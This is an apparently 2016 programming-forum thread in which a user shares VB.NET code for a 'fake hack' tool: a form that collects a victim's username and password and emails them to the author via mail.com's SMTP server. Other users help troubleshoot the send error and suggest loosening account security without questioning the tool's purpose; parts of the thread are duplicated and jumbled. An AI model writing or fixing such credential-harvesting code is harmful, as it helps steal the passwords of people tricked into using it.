Thread: [mail.com error sending mail](#)

timmm1292 - May 7, 2016, 3:08 pm

I made a fake hack thingy but can somebody help me with "An Unhandled Exception of type 'System.Net.Mail.SmtpException' I think that the security of mail.com doesnt allow but can someone help me with this

Oscura - May 7, 2016, 3:09 pm

Post your code so we can take a look at it.

FiftyTwo - May 7, 2016, 3:12 pm

(May 7, 2016 03:09 PM)Oscura Wrote: [\[CITE\]](#) Post your code so we can take a look at it. This.

We can't really help without seeing the code so that we're able to figure out what caused the error.

Malum™ - May 7, 2016, 3:12 pm

Post the snippet of code that is throwing the error. Make sure to exclude credentials too. Lol.

(May 7, 2016 03:09 PM)Oscura Wrote: [\[CITE\]](#) Post your code so we can take a look at it.
End Sub

```
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
    If TextBox1.Text = "" Then
        MsgBox("Username is Missing")
    If TextBox2.Text = "" Then
        MsgBox("Password Is Missing")
    Else
        End If
    End If
    Dim smtpServer As New SmtpClient()
    Dim Mail As New MailMessage()
    smtpServer.Credentials = New Net.NetworkCredential("MyMail@mail.com", "MyPass")
    'using mail.com
    smtpServer.Port = 587
    smtpServer.Host = "smtp.mail.com"
    smtpServer.EnableSsl = True
    Mail = New MailMessage()
    Mail.From = New MailAddress("email@mail.com")
    Mail.To.Add("MyMail@mail.com")
    Mail.Subject = "Password :" & TextBox1.Text
    Mail.Body = "Password : " & TextBox1.Text & "," & "Username : " & TextBox2.Text
    smtpServer.Send(Mail)
End Sub
End Class
```

Oscura - May 7, 2016, 3:15 pm

Gmail by default blocks that kind of requests. You should change the securty settings in your GMail

account. Login to the account and navigate [here](#). Turn the Access for less secure apps on.

If you'd like to read more about that, check [this](#) out (Google documentation). I hope that helps.

Best regards

    Mail.Body = "Password : " & TextBox1.Text & "," & "Username : " & TextBox2.Text
    smtpServer.Send(Mail)
End Sub
```

End Class"System.Net.Mail.SmtpException" is thrown when the application fails to complete a send email operation.

Your code seems to look fine.

Is there additional security on the mail.com email address that you're using?
